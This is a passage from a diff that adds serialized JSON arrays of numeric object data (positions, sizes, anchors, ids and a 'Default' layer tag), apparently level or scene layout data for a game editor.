+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1189,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1179,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 963,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1180,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1184,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.697631835938,
+ 896.684326171875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1190,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1322.33056640625,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1197,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.45703125,
+ 988.5802001953125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1192,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.112426757813,
+ 988.8226318359375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1193,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.427978515625,
+ 988.8226318359375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1196,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500.5908203125,
+ 1079.822631835938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1199,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1590.487182617188,
+ 988.8114013671875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1198,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1680.142578125,
+ 989.0538330078125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1200,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1769.458129882813,
+ 989.0538330078125,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1201,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.984497070313,
+ 1173.107788085938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1202,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.295166015625,
+ 1173.295532226563,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1203,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412.184448242188,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1207,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1502.274291992188,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1208,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1592.128173828125,
+ 804.051025390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 1209,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1593.15576171875,
+ 723.7517700195312,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1210,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1593.632080078125,
+ 645.4243774414062,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1211,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1514.566528320313,
+ 723.4898681640625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1212,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1596.55517578125,
+ 535.5394897460938,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 1195,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1595.352905273438,
+ 430.1338806152344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1213,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1595.352905273438,
+ 351.1338806152344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1214,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1595.352905273438,
+ 272.1338806152344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1215,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1596.352905273438,
+ 194.1338958740234,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1216,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1597.352905273438,
+ 115.1339111328125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1217,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2526.97314453125,
+ 1059.370971679688,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 515,
+ 1218,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1562,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1220,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1234,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1626,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1235,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1754,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1236,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1786,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1237,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1818,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1241,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1946,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1242,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1978,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1245,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2010,
+ 1230,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 1247,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.855590820313,
+ 1358.605346679688,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1253,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052.2265625,
+ 1080.58349609375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.993286132813,
+ 1172.7197265625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1256,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.864379882813,
+ 1358.21728515625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1249,
+ 1277,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 512,
+ 1248,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.238647460938,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1126,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.841186523438,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1204,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1411.673583984375,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1205,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501.276123046875,
+ 1266.16650390625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1206,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.912109375,
+ 1265.734375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1254,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.9208984375,
+ 1265.346313476563,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.238647460938,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1260,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1321.841186523438,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1261,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1411.673583984375,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1263,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501.276123046875,
+ 1358.615356445313,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1264,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141.912109375,
+ 1358.183227539063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1265,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1051.9208984375,
+ 1357.795166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1266,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1267,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1322,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1268,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1269,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1270,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142,
+ 1450,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1450,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1272,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1273,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1322,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1274,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1412,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1275,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1501,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1277,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142,
+ 1543,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1278,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1542,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1279,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1266,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 1266,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1280,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 1266,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1281,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1358,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1282,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 1358,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1283,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 1358,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1284,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1285,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2160,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1291,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2249,
+ 1451,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 1292,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2249.742431640625,
+ 988.5640869140625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1293,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2249.742431640625,
+ 1173.564086914063,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1294,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1769.195678710938,
+ 897.2289428710938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 1295,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1949.688720703125,
+ 897.3101806640625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1296,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2039.688720703125,
+ 898.3101806640625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1301,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1859.688720703125,
+ 897.3101806640625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1302,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2339.947021484375,
+ 1173.56396484375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1303,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2430.5458984375,
+ 1173.357421875,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1308,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2520.75048828125,
+ 1173.357299804688,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 1309,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2523,
+ 952,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1310,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2523,
+ 873,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
